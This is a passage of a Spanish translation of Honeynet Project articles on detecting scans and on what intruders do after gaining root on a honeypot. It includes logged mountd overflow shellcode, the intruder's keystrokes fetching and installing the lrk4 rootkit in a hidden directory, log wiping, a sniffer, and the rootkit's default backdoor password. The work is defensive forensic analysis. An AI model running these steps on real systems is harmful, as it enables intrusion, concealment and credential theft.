entonces ejecutar el "exploit du jour". A contunuacion un ejemplo de sscan
corriendo contra el sistema mozart (172.17.6.30).

otto #./sscan -o 172.17.6.30

--------------------------<[ * report for host mozart *
<[ tcp port: 80 (http) ]> <[ tcp port: 23 (telnet) ]>
<[ tcp port: 143 (imap) ]> <[ tcp port: 110 (pop-3) ]>
<[ tcp port: 111 (sunrpc) ]> <[ tcp port: 79 (finger) ]>
<[ tcp port: 53 (domain) ]> <[ tcp port: 25 (smtp) ]>
<[ tcp port: 21 (ftp) ]>

--<[ *OS*: mozart: os detected: redhat linux 5.1
mozart: VULN: linux box vulnerable to named overflow.
<[ *CGI*: 172.17.6.30: tried to redirect a /cgi-bin/phf request.
<[ *FINGER*: mozart: root: account exists.
<[ *VULN*: mozart: sendmail will 'expn' accounts for us
<[ *VULN*: mozart: linux bind/iquery remote buffer overflow
<[ *VULN*: mozart: linux mountd remote buffer overflow
---------------------------<[ * scan of mozart completed *


Nmap representa la herramienta de "datos raw". No te dice que fallos
existen, mas bien, te dice que puertos estan abiertos, para determinar el
impacto en la seguridad de la maquina. Nmap se ha convertido rapidamente en
el escaner de facto, y con una buena razon. Es el mejor de la gran variedad
de escaners y pone todas las funcionalidades en una sola herramienta,
incluyendo deteccion de SO, varias opciones de ensamblaje de paquetes,
escaneo UDP y TCP, aleatoriedad, etc. Sin embargo, necesitas ciertos
conocimientos de redes para usar la herramienta e interpretar los datos. A
continuacion se muestra un ejemplo de nmap ejecutandose contra el mismo
sistema.


otto #nmap -sS -O 172.17.6.30

Starting nmap V. 2.08 by Fyodor (fyodor@dhp.com, www.insecure.org/nmap/)
Interesting ports on mozart (172.17.6.30):
Port State Protocol Service
21 open tcp ftp
23 open tcp telnet
25 open tcp smtp
37 open tcp time
53 open tcp domain
70 open tcp gopher 79 open tcp finger
80 open tcp http
109 open tcp pop-2
110 open tcp pop-3
111 open tcp sunrpc
143 open tcp imap2
513 open tcp login
514 open tcp shell
635 open tcp unknown
2049 open tcp nfs

TCP Sequence Prediction: Class=truly random Difficulty=9999999 (Good luck!)
Remote operating system guess: Linux 2.0.35-36

Nmap run completed -- 1 IP address (1 host up) scanned in 2 seconds


Revisando tus logs, puedes determinar que herramientas se han usado
contra ti. Para hacer esto, debes comprender como actuan esas herramientas.
Primero, sscan logueara lo siguiente (este es un escaneo por defecto sin
modificaciones a cualquier archivo de configuracion):

/var/log/secure
Apr 14 19:18:56 mozart in.telnetd[11634]: connect from 192.168.11.200
Apr 14 19:18:56 mozart imapd[11635]: connect from 192.168.11.200
Apr 14 19:18:56 mozart in.fingerd[11637]: connect from 192.168.11.200
Apr 14 19:18:56 mozart ipop3d[11638]: connect from 192.168.11.200
Apr 14 19:18:56 mozart in.telnetd[11639]: connect from 192.168.11.200
Apr 14 19:18:56 mozart in.ftpd[11640]: connect from 192.168.11.200
Apr 14 19:19:03 mozart ipop3d[11642]: connect from 192.168.11.200
Apr 14 19:19:03 mozart imapd[11643]: connect from 192.168.11.200
Apr 14 19:19:04 mozart in.fingerd[11646]: connect from 192.168.11.200
Apr 14 19:19:05 mozart in.fingerd[11648]: connect from 192.168.11.200

/var/log/maillog
Apr 14 21:01:58 mozart imapd[11667]: command stream end of file, while reading line user=??? host=[192.168.11.200]
Apr 14 21:01:58 mozart ipop3d[11668]: No such file or directory while reading line user=??? host=[192.168.11.200]
Apr 14 21:02:05 mozart sendmail[11675]: NOQUEUE: [192.168.11.200]: expn root

/var/log/messages
Apr 14 21:03:09 mozart telnetd[11682]: ttloop: peer died: Invalid or incomplete multibyte or wide character
Apr 14 21:03:12 mozart ftpd[11688]: FTP session closed

sscan tambien escanea vulnerabilidades de cgi-bin. Estas pruebas no
seran logueadas por syslogd, encontraras acceso a ellas en access_log.
Decidi incluirlas de todas formas para tu formacion :)

/var/log/httpd/access_log
192.168.11.200 - - [14/Apr/1999:16:44:49 -0500] "GET /cgi-bin/phf HTTP/1.0" 302 192
192.168.11.200 - - [14/Apr/1999:16:44:49 -0500] "GET /cgi-bin/Count.cgi HTTP/1.0" 404 170
192.168.11.200 - - [14/Apr/1999:16:44:49 -0500] "GET /cgi-bin/test-cgi HTTP/1.0" 404 169
192.168.11.200 - - [14/Apr/1999:16:44:49 -0500] "GET /cgi-bin/php.cgi HTTP/1.0" 404 168
192.168.11.200 - - [14/Apr/1999:16:44:49 -0500] "GET /cgi-bin/handler HTTP/1.0" 404 168
192.168.11.200 - - [14/Apr/1999:16:44:49 -0500] "GET /cgi-bin/webgais HTTP/1.0" 404 168
192.168.11.200 - - [14/Apr/1999:16:44:49 -0500] "GET /cgi-bin/websendmail HTTP/1.0" 404 172
192.168.11.200 - - [14/Apr/1999:16:44:49 -0500] "GET /cgi-bin/webdist.cgi HTTP/1.0" 404 172
192.168.11.200 - - [14/Apr/1999:16:44:49 -0500] "GET /cgi-bin/faxsurvey HTTP/1.0" 404 170
192.168.11.200 - - [14/Apr/1999:16:44:49 -0500] "GET /cgi-bin/htmlscript HTTP/1.0" 404 171
192.168.11.200 - - [14/Apr/1999:16:44:49 -0500] "GET /cgi-bin/pfdisplay.cgi HTTP/1.0" 404 174
192.168.11.200 - - [14/Apr/1999:16:44:49 -0500] "GET /cgi-bin/perl.exe HTTP/1.0" 404 169
192.168.11.200 - - [14/Apr/1999:16:44:49 -0500] "GET /cgi-bin/wwwboard.pl HTTP/1.0" 404 172
192.168.11.200 - - [14/Apr/1999:16:44:50 -0500] "GET /cgi-bin/ews/ews/architext_query.pl HTTP/1.0" 404 187
192.168.11.200 - - [14/Apr/1999:16:44:50 -0500] "GET /cgi-bin/jj HTTP/1.0" 404 163

Hay que darse cuenta de que se efectuaron conexiones completas para
todos los puertos (SYN, SYN-ACK, ACK), y luego se cierran. Esto es porque
sscan determina en la capa de aplicacion que puertos estan abiertos. sscan
no solo busca saber si tu puerto de ftp esta abierto, sino que demonio de
ftp esta ejecutando. Lo mismo se puede decir para imap, pop, etc. Esto puede
verse en los rastreos de un sniffado usando sniffit, una herramienta usada
comunmente para sniffar contrase¤as.

mozart $ cat 172.17.6.30.21-192.168.11.200.7238
220 mozart.example.net FTP server (Version wu-2.4.2-academ[BETA-17](1) Tue Jun 9 10:43:14 EDT 1998) ready.

Como has visto mas arriba, una conexion completa ha determinado la
version de wu-ftpd que estas ejecutando. Cuando ves conexiones completas en
tus logs, como se ha mostrado mas arriba, seguramente estas siendo escaneado
por una herramienta de escaneo de vulnerabilidades. Estas herramientas hacen
conexiones completas para determinar que estas ejecutando.

Nmap, como las mayoria de los escaneadores de puertos, no se preocupa
de que estas ejecutando, sino si estas ejecutando servicios especificos. Por
eso, nmap posee una amplia gama de opciones, permitiendote determinar que
tipo de conexion deseas efectuar, incluyendo SYN, FIN, Xmas, Null, etc. Para
una descripcion detallada de estas opciones, revisa el documento
http://www.insecure.org/nmap/nmap_doc.html. Dada estas opciones, tus logs
pueden variar dependiendo de las opciones que el usuario haya elegido para
escanear tu red. Una conexion hecha con el flag -sT es una conexion completa
en toda regla, de forma que los logs seran similares a sscan, sin embargo
nmap por defecto escanea mas puertos.

/var/log/secure
Apr 14 19:18:56 mozart in.telnetd[11634]: connect from 192.168.11.200
Apr 14 19:18:56 mozart imapd[11635]: connect from 192.168.11.200
Apr 14 19:18:56 mozart in.fingerd[11637]: connect from 192.168.11.200
Apr 14 19:18:56 mozart ipop3d[11638]: connect from 192.168.11.200
Apr 14 19:18:56 mozart in.telnetd[11639]: connect from 192.168.11.200
Apr 14 19:18:56 mozart in.ftpd[11640]: connect from 192.168.11.200
Apr 14 19:19:03 mozart ipop3d[11642]: connect from 192.168.11.200
Apr 14 19:19:03 mozart imapd[11643]: connect from 192.168.11.200
Apr 14 19:19:04 mozart in.fingerd[11646]: connect from 192.168.11.200
Apr 14 19:19:05 mozart in.fingerd[11648]: connect from 192.168.11.200

Una cosa que debes tener en mente es la opcion -D (o se¤uelo). Esta
opcion de nmap permite al usuario cambiar la direccion IP de origen. Puedes
ver escaneos desde 15 fuentes diferentes al mismo tiempo, pero solo una es
la real. Es extremadamente dificil determiar cual de las 15 es la actual.
A menudo, se selecciona la opcion -sS para el escaneo de puertos. Es la
opcion silenciosa, ya que solo un paquete SYN es enviado. Si el sistema
remoto responda, la conexion se cierra inmediatamente con un RST.

/var/log/secure

Dooh! aqui no hay nada! Esto es porque los logs del sistema solo
recuerdan conexiones completas. Dado que el scanner nmap al usar la opcion
-sS no establece una conexion completa, estos escaneos no son logueados.
Este es el porque este metodo de escaneao se considera silencioso, los logs
del sistema no recuerdan los escaneo. Para los kernels antiguos de Linux, en
especial los 2.0.x, las conexiones TCP incompletas se loguean, pero como
conexiones rotas. Los logs de un escaneo -sS tienen la siguiente pinta para
los kernels antiguos. (NOTA: Solo se incluyen las tres primeras entradas).

/var/log/secure
Apr 14 21:25:08 mozart in.rshd[11717]: warning: can't get client address: Connection reset by peer
Apr 14 21:25:08 mozart in.rshd[11717]: connect from unknown
Apr 14 21:25:09 mozart in.timed[11718]: warning: can't get client address: Connection reset by peer
Apr 14 21:25:09 mozart in.timed[11718]: connect from unknown
Apr 14 21:25:09 mozart imapd[11719]: warning: can't get client address: Connection reset by peer
Apr 14 21:25:09 mozart imapd[11719]: connect from unknown

Fijate en todos los errores en las conexiones. Dado que la secuencia
SYN-ACK se cerro antes de que se pudiera completar la conexion, el demonio
no pudo determinar el sistema de origen. Los logs te muestran que has sido
escaneado, desafortunadamente no sabras por quienes. Este comportamiento
solo sucede con los kernels de linux mas antiguos que el 2.0.x. Decia Fyodor
"...basados en todos los mensajes de 'connection reset by peer'. Este es un
pieza de museo, un Linux 2.0.XX -- virtualmente cada otro sistema
(incluyendo los kernels 2.2 y posteriores) no mostrara nada. Este bug
(devolviendo accept() antes de completar el acuerdo a tres vias) ha sido
parcheado."

Nmap incluye otras opciones de anonimato, como -sF, -sX, -sN, donde
varios argumentos son usados, esta es la apariencia que tendran los logs en
este tipo de escaneos

/var/log/secure

De nuevo, no nay nada, no hay logs! Espeluznante, eh? sencillamente
acabas de ser escaneado y nunca lo sabras. Estos tres tipos de escaneos
determinan los mismos resultados sin que sean logueados, similar a la opcion
-sS. Para detectar estos escaneos silenciosos, necesitaras usar herramientas
de logueo diferentes como tcplogd o ippl. La mayoria de los cortafuegos
tambien te detectaran y loguearan estos escaneos, como IPFilter, SunScreen,
o FireWall-1.


- Han ganado acceso?

Una vez has determinado que has sido escaneado, y lo que estabas
buscando, la siguiente gran cuestion es "Han entrado?". La mayoria de los
exploits remotos estan hoy en dia estan basados en fallos de desbordamiento
de buffer (de otra forma conocidos como destrozos de pila). Simplemente, un
desbordamiento de buffer se producen cuando un programa (normalmente un
demonio) recibe mas datos de entrada de los esperados, de forma que estos
sobreescriben zonas criticas en la memoria. Cierto codigo se ejecuta, por lo
general dando el usuario acceso de root. Para mas informacion sobre los
desbordamientos de pila, echa un vistazo al excelente articulo de Aleph1 en
ftp://ftp.technotronic.com/rfc/phrack49-14.txt.

Normalmente podras identificar ataques de desbordamiento de buffer en
el archivo de log /var/log/messages (o /var/adm/messages para otros sabores
de Unix) para ataques como el de mountd. Tambien veras logs similares en
maillog para ataques contra imapd. Un ataque de desbordamiento de buffer
dejaria este rastro.

Apr 14 04:20:51 mozart mountd[6688]: Unauthorized access by NFS client 192.168.11.200.
Apr 14 04:20:51 mozart syslogd: Cannot glue message parts together
Apr 14 04:20:51 mozart mountd[6688]: Blocked attempt of 192.168.11.200 to mount
~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~
P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~
P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~
P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~
P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~
P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~
P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~
P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~
P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~
P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~
P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~
P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~
P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~
P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~
P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~
P~P~P3Û3À°^[Í~@3Ò3À~KÚ°^FÍ~@þÂuô1À°^BÍ~@~EÀubëb^V¬<ýt^FþÀt^Këõ°0þÈ~HFÿëì^°^B~
I^FþÈ~IF^D°^F~IF^H°f1ÛþÃ~IñÍ~@~I^F°^Bf~IF^L°*f~IF^N~MF^L~IF^D1À~IF^P°^P~IF^H°
fþÃÍ~@°^A~IF^D°f³^DÍ~@ë^DëLëR1À~IF^D~IF^H°fþÃÍ~@~Hð?1ÉÍ~@°?þÁÍ~@°?þÁÍ~@¸.bin@~
I^F¸.sh!@~IF^D1À~HF^G~Iv^H~IF^L°^K~Ió~MN^H~MV^LÍ~@1À°^A1ÛÍ~@èEÿÿÿÿýÿPrivet
ADMcrew~P(-^E^H(-^E^H(-^E^H(-^E^H(-^E^H(-^E^H(-^E^H(-^E^H(-^E^H(Apr 14 04:20:51
mozart ^H(-^E^H(-^E^H(-^E^H(-^E^H(-^E^H(-^E^H(-^E^H(-^E^H(-^E^H(-^E^H(-^E^H(-^
E^H(-^E^H-^E^H(-^E^H(-^E^H(-^E^H(-^E^H(-^E^H(-^E^H(-^E^H(-^E^H(-^E^H(-^E^H(-^E
^H(-^E^H-^E^H(-^E^H(-^E^H(-^E^H(-^E^H(-^E^ H(-^E^H(-^E^H(-^E^H(-^E^H(-^E^H(-^E
^H(-^E^H(-^E

Cuando veas algo asi en tus logs, alguien ha intentado explotar tu
sistema. Es dificil saber si tuvo exito. Una forma de hacerlo es siguiendo
la fecha desde la cual se intento explotar tu sistema, ver si hay alguna
conexion remota a tu sistema. Si hay un inicio de sesion satisfactorio de
forma remota, significa que tienen acceso. Otro sintoma es que encuentres
cuentas de usuario como "moof", "rewt", "crak0", o "w0rm" a¤adidas a tu
archivo /etc/passwd. Estas cuentas, con uid 0, son a¤adidas por alguno de
los mas comunes exploits. Una vez el black-hat gana acceso, normalmente lo
primero que hara es limpiar los logs y troyanizar el logueo (syslogd), para
mas informacion lee Conoce Tu Enemigo: III. Dado este punto, no reciviras
ningun log de tu sistema en el que se indique que tu sistema ha sido
comprometido. Lo que a continuacion haras es tema para otro articulo :).
Hasta entonces, te recomiendo ojear http://www.cert.org/nav/recovering.html.

Para ayudar a encontrar anomalias en archivos de log, puedes usar un
shell script para escanear logs buscando firmas especificas. Para una
informacion mas detallada de como usar grep y sort con archivos de log, echa
un vistazo a este post de Marcus Ranum (actualmente disponible en
http://www.nfr.net/firewall-wizards/mail-archive/1997/Sep/0098.html).


- Conclusion

Tus logs pueden contarte grandes verdades sobre el enemigo. Sin
embargo, el primer paso es garantizar la integridad de tus logs. Una de las
mejores formas de hacer esto es usando un servidor de logueo remoto que se
encargue de recivir y almacenar los logs de todos tus sistemas. Una vez
seguro, puedes identificar patrones en tus logs. Basandote en estos patrones
y entradas de log, puedes determinar que busca el black-hat, y que
herramientas esta usando. Basado en este conocimiento, puedes asegurar y
proteger mejor tus sistemas.


*EOF*
-=( 7A69#13 )=--=( art10 )=--=( Conoce tu enemigo III; )=--=( Tahum )=-
( Ganan privilegios de root. )


[ Documento traducido por Tahum@phreaker.net, ponte en contacto a esta
direccion si encuentras imperfecciones en la traduccion. Gracias. ]



Conoce tu enemigo III

Ganan privilegios de root



Honeynet Project
Http://project.honeynet.org
Ultima modificacion: 27 de Marzo, 2000.

Este articulo es el tercero de la serie centrada en el script kiddie.
El primer articulo se centraba en como los script kiddies buscan,
identifican, y explotan vulnerabilidades. El segundo articulo se centraba en
como puedes detectar estos intentos de intrusion, identificando que
herramientas han usado y que vulnerabilidades buscaban. Este articulo, el
tercero, se centra en que pasara una vez ellos ganan privilegios de root.
Concretamente, en como ellos borran sus huellas y que haran a continuacion.
Puedes descargar los datos de origen usados para hacer este documento en
http://project.honeynet.org/papers/enemy3/honeypot.tar.gz.


- Quien es el script kiddie

Como vimos en el primer articulo, el script kiddie no es tanto una
clase de persona como su estrategia, la estrategia de buscar la presa facil.
No se busca buscar una informacion especifica o comprometer una compa¤ia en
concreto, el objetivo es ganar privilegios de root de la forma mas facil
posible. Los intrusos hacen esto centrandose en un numero peque¤o de
vulnerabilidades, y buscando en Internet el exploit para ellas. No
infravalores su estrategia, tarde o temprano encontraran algo vulnerable.

Una vez encuentran un sistema vulnerable y ganan privilegios de root,
su primer paso es por lo general borrar sus huellas. Buscan asegurarse de
que no sepas de que tu sistema ha sido hackeado y que no puedas ver ni
loguear sus acciones. Siguiendo esto, a menudo usaran tu sistema para
escanear otras redes, o silenciosamente monitorizar tus acciones. Para ganar
una mayor comprension de como realizan estos actos, vamos a ver los pasos de
un intruso en un sistema comprometido usando tacticas de script kiddie.
Nuestro sistema, llamado mozart, es un Linux ejecutando Red Hat 5.1. El
sistema fue comprometido el 27 de Abril, de 1999. A continuacion se muestran
los pasos que el intruso hizo, con logs de sistema y capturadores de teclado
para verificar cada paso. Todos los logs fueron almacenados por un servidor
de logueo remoto, usando sniffit. Para mas informacion sobre como esta
informacion fue capturada, leete nuestro "Construir una Honeypot". A lo
largo de este documento nuestro intruso es referido como el, sin embargo no
tenemos ni idea del sexo del intruso.


- La explotacion

El 27 de Abril, a las 00:13, nuestra red fue escaneada por la maquina
1Cust174.tnt2.long-branch.nj.da.uu.net buscando vulnerabilidades, usando
herramientas como nmap. Nuestro intruso lo hizo de forma ruidosa, como cada
sistema de nuestra red que fue probado (para mas informacion en deteccion y
analisis de escaneos, por favor dirigete al segundo articulo de esta serie).

Apr 27 00:12:25 mozart imapd[939]: connect from 208.252.226.174
Apr 27 00:12:27 bach imapd[1190]: connect from 208.252.226.174
Apr 27 00:12:30 vivaldi imapd[1225]: connect from 208.252.226.174

Aparentemente encontro algo que le gusto, y volvio a las 06:52 y a
las 16:47 el mismo dia. Comenzo con escaneos mas precisos, pero esta vez
centrandose solo en mozart. Identifico una vulnerabilidad y lanzo un ataque
con exito contra mountd, una vulnerabilidad comun para Red Hat 5.1. Aqui
vemos en /var/log/messages al intruso ganando root. La herramienta usada
seria lo mas seguro ADMmountd.c, o algo similar a este.

Apr 27 16:47:28 mozart mountd[306]: Unauthorized access by NFS client 208.252.226.174.
Apr 27 16:47:28 mozart syslogd: Cannot glue message parts together
Apr 27 16:47:28 mozart mountd[306]: Blocked attempt of 208.252.226.174 to mount
~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P
~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~

Inmediatamente despues de este exploit, vemos en /var/log/messages
que nestro intruso gano root haciendo telnet a la maquina con el user crak0,
y entonces ejecutando su al usuario rewt. Ambas cuentas fueron a¤adidas por
el exploit. Nuestro intruso ahora tiene control total sobre el sistema.

Apr 27 16:50:27 mozart login[1233]: FAILED LOGIN 2 FROM 1Cust102.tnt1.long-branch.nj.da.uu.net FOR crak, User not known to the underlying authentication module
Apr 27 16:50:38 mozart PAM_pwdb[1233]: (login) session opened for user crak0 by (uid=0)
Apr 27 16:50:38 mozart login[1233]: LOGIN ON ttyp0 BY crak0 FROM 1Cust102.tnt1.long-branch.nj.da.uu.net
Apr 27 16:50:47 mozart PAM_pwdb[1247]: (su) session opened for user rewt by crak0(uid=0)


- Cubriendo sus huellas

El intruso esta ahora en nuestro sistema como root. Como podemos ver,
el siguiente paso para el es asegurarse de que no va a ser capturado. En
primer lugar, comprueba si hay alguien en el sistema.

[crak0@mozart /tmp]$ w
4:48pm up 1 day, 18:27, 1 user, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
crak0 ttyp0 1Cust102.tnt1.lo 4:48pm 0.00s 0.23s 0.04s w

Despues de asegurarse de que no hay moros en la costa, querra ocultar
sus acciones. Esto se hace normalmente borrando cualquier evidencia de logs
y remplazando los binarios del sistema con troyanos, como ps o netstat, de
forma que no puedas ver al intruso en tu propio sistema. Una vez se han
colocado los troyanos, el intruso ha ganado un control total de tu sistema,
y seguramente nunca lo sepas. Simplemente como hay herramientas automaticas
para explotar vulnerabilidades, las hay para ocultar intrusos, a menudo
llamadas rootkits. Uno de los mas comunes es lrk4. Ejecutando el script, una
gran variedad de archivos criticos son remplazados, ocultando al intruso en
cuestion de segundos. Para informacion mas detallada sobre los rootkits, lee
el README que viene con lrk4. Este te dara una mejor idea de como trabajan
los rookits de forma general. Tambien recomiendo que leas 'hide-and-seek'
(http://project.honeynet.org/papers/enemy3/hide-n-seek.html), un documento
para el black-hat donde se explica como cubrir tus huellas.

A los pocos minutos de comprometer el sistema, vemos al intruso
descargarse el rootkit y entonces implementando el script con el comando
"make install". Debajo estan las pulsaciones de teclado que el intruso
escribio para esconderse.

cd /dev/
su rewt
mkdir ". "
cd ". "
ftp technotronic.com
anonymous
fdfsfdsdfssd@aol.com
cd /unix/trojans
get lrk4.unshad.tar.gz
quit
ls
tar -zxvf lrk4.unshad.tar.gz
mv lrk4 proc
mv proc ". "
cd ". "
ls
make install

Resaltar que lo primero que hizo el intruso fue crear el directorio
oculto ". " para esconder su kit de herramientas. Este directorio no se ve
con el comando "ls", y parece el directorio local con el comando "ls -la".
Una forma de localizar este directorio es con el comando "find" (asegurate
de poder confiar en la integridad de tu binario "find").

mozart #find / -depth -name "*.*"
/var/lib/news/.news.daily
/var/spool/at/.SEQ
/dev/. /. /procps-1.01/proc/.depend
/dev/. /.
/dev/

Nuestro intruso puede haber sofisticado algo su ataque con estas
herramientas, pero tuvo poca consideracion en limpiar los logs. En lugar de
usar herramientas de limpieza de logs, com ozap2 o clean, copio /dev/null en
los archivos /var/run/utmp y /var/log/utmp, mientras borro /var/log/wtmp.
Sabes que algo esta mal cuando estos archivos no contienen datos, u obtienes
el siguiente error:

[root@mozart sbin]# last -10
last: /var/log/wtmp:
No such file or directory
Perhaps this file was removed by the operator to prevent logging last info.


- El siguiente paso

Una vez el sistema ha sido comprometido, los intrusos tienden a hacer
dos cosas. Primero, usaran tu sistema como puente para escanear o explotar
otros sistemas. Segundo, decidiran esconderse y ver que pueden aprender de
tu sistema, como cuentas para otros sistemas. Nuestro intruso se decidio por
la opcion numero dos, permanecer en la sombra y ver que podia aprender.
Implemento un sniffer en nuestro sistema que pudo capturar todo nuestro
trafico de red, incluyendo sesiones telnet y ftp a otros sistemas. De este
modo el puedo capturar logins y contrase¤as. Vemos que el sistema se esta
poniendo en modo promiscuo viendo /var/log/messages poco despues del ataque.

Apr 27 17:03:38 mozart kernel: eth0: Setting promiscuous mode.
Apr 27 17:03:43 mozart kernel: eth0: Setting promiscuous mode.

Despues de implementar los binarios para los troyanos, y ejecutar el
sniffer, nuestro intruso se desconecta del sistema. Sin embargo, le veremos
volver al siguiente dia para ver el trafico que capturo.


- Supervision de da¤os

Dado que nuestro amigo se ha desconectado, esto me da la oportunidad
para revisar el sistema y ver que ha pasado exactamente. Me encontraba
especialmente interesado en ver que fue alterado, y donde estaba guardando
la informacion de su sniffer. Primero, rapidamente identifique con tripwire
que archivos fueron modificados. Nota, asegurate de que ejecutas tripwire
desde una fuente segura. Me gusta ejecutar tripwire desde una version
enlazada a un disquete de solo lectura. Tripwire mostro lo siguiente.

added: -rw-r--r-- root 5 Apr 27 17:01:16 1999 /usr/sbin/sniff.pid
added: -rw-r--r-- root 272 Apr 27 17:18:09 1999 /usr/sbin/tcp.log
changed: -rws--x--x root 15588 Jun 1 05:49:22 1998 /bin/login
changed: drwxr-xr-x root 20480 Apr 10 14:44:37 1999 /usr/bin
changed: -rwxr-xr-x root 52984 Jun 10 04:49:22 1998 /usr/bin/find
changed: -r-sr-sr-x root 126600 Apr 27 11:29:18 1998 /usr/bin/passwd
changed: -r-xr-xr-x root 47604 Jun 3 16:31:57 1998 /usr/bin/top
changed: -r-xr-xr-x root 9712 May 1 01:04:46 1998 /usr/bin/killall
changed: -rws--s--x root 116352 Jun 1 20:25:47 1998 /usr/bin/chfn
changed: -rws--s--x root 115828 Jun 1 20:25:47 1998 /usr/bin/chsh
changed: drwxr-xr-x root 4096 Apr 27 17:01:16 1999 /usr/sbin
changed: -rwxr-xr-x root 137820 Jun 5 09:35:06 1998 /usr/sbin/inetd
changed: -rwxr-xr-x root 7229 Nov 26 00:02:19 1998 /usr/sbin/rpc.nfsd
changed: -rwxr-xr-x root 170460 Apr 24 00:02:19 1998 /usr/sbin/in.rshd
changed: -rwxr-x--- root 235516 Apr 4 22:11:56 1999 /usr/sbin/syslogd
changed: -rwxr-xr-x root 14140 Jun 30 14:56:36 1998 /usr/sbin/tcpd
changed: drwxr-xr-x root 2048 Apr 4 16:52:55 1999 /sbin
changed: -rwxr-xr-x root 19840 Jul 9 17:56:10 1998 /sbin/ifconfig
changed: -rw-r--r-- root 649 Apr 27 16:59:54 1999 /etc/passwd

Como puedes ver, cantidad de binarios y archivos fueron modificados.
No habia nuevas entradas en /etc/passwd (prudentemente, borro la cuenta
crak0 y rewt), de forma que nuestro intruso debio dejar una backdoor en
alguno de los binarios modificados. Tambien, dos archivos fueron a¤adidos,
/usr/sbin/sniff.pid y /usr/sbin/tcp.log. Previsiblemente, el archivo
/usr/sbin/sniff.pid era el pid el sniffer, /usr/sbin/tcp.log era el archivo
donde se guardaba la informacion capturada. Basandose en /usr/sbin/sniff.pid
el sniffer se limpiaba para ser rpc.nfsd. Nuestro intruso tiene un sniffer
compilado, en este caso linsniffer, y remplaza rpc.nfsd con el. Esto
aseguraba que si el sistema fuera reiniciado, el sniffer seria reiniciado
por el proceso init. Strings confirma que rpc.nfsd es un sniffer:

mozart #strings /usr/sbin/rpc.nfsd | tail -15
cant get SOCK_PACKET socket
cant get flags
cant set promiscuous mode
----- [CAPLEN Exceeded]
----- [Timed Out]
----- [RST]
----- [FIN]
%s =>
%s [%d]
sniff.pid
eth0
tcp.log
cant open log
rm %s

Despues de revisar el sistema y comprender lo que ha pasado, dejo al
sistemas solo. Tenia curiosidad de saber que pasos daria a continuacion el
intruso. No le busco para cogerle, de forma que borre mis entradas de
/usr/sbin/tcp.log.


- El retorno del Script Kiddie

Al siguiente dia nuestro amigo volvio. Logueando sus pulsaciones de
teclado, rapidamente identifique la puerta trasera, /bin/login se encontraba
troyanizado. Este binario, usado para las conexiones por telnet, fue
configurado para permitir que la cuenta con privilegios de root "rewt" con
la contrase¤a "satori" entrara al sistema. La contrase¤a "satori" es la
contrase¤a por defecto para todos los binarios troyanizados que lrk4 usa,
una revelacion de que tu sistema puede haber sido comprometido.

El intruso reviso su sniffer asegurandose de que todo seguia en
funcionamiento. Tambien, busco confirmar si cualquier cuenta fue capturada
en dias anteriores. Puedes revisar sus pulsaciones de teclado en
keystrokes.txt (http://project.honeynet.org/papers/enemy3/keystrokes.txt).
Date cuenta de que al final del log se muestra como el intruso mata el
sniffer. Esto fue lo ultimo que hizo antes de cerrar la sesion. Sin embargo,
rapidamente volvio minutos mas tarde con otra sesion, solo para iniciar el
sniffer de nuevo. No se exactamente porque hizo eso.

Este proceso de revision del sistema continuo varios dias mas. Cada
dia el intruso se conectaba al sistema para confirmar que el sniffer se
ejecutaba correctamente y por si habia capturado datos de interes. Despues
del cuarto dia, decidi que ya era suficiente y desconecte el sistema.
Aprendi lo suficiente sobre las acciones del intruso y no iba a aprender
nada nuevo.


- Conclusion

En este documento hemos visto como puede actuar un intruso, desde el
principio hasta el final, una vez ha ganado privilegios de root en tu
sistema. A menudo comienzan por ver si hay alguien en el sistema. Una vez
ven que estan solos, borran sus huellas limpiando los archivos de log y
remplazando o modificando archivos criticos. Una vez se encuentran seguros y
escondidos, proceden a actividades mas da¤inas. Estas tacticas permaneceran,
asi como nuevos exploits son constantemente descubiertos. Para protegerte
mejor contra estos peligros, te recomiendo blindar tus sistemas. El blindaje
basico te protegera contra los peligros mas comunes del script kiddie, ya
que ellos van a por la presa facil. Para idea de como proteger tu sistema,
echale un vistazo a Blindando Linux o Blindando Solaris. Si es demasiado
tarde y sientes que tu sistema ya ha sido comprometido, un buen sitio por el
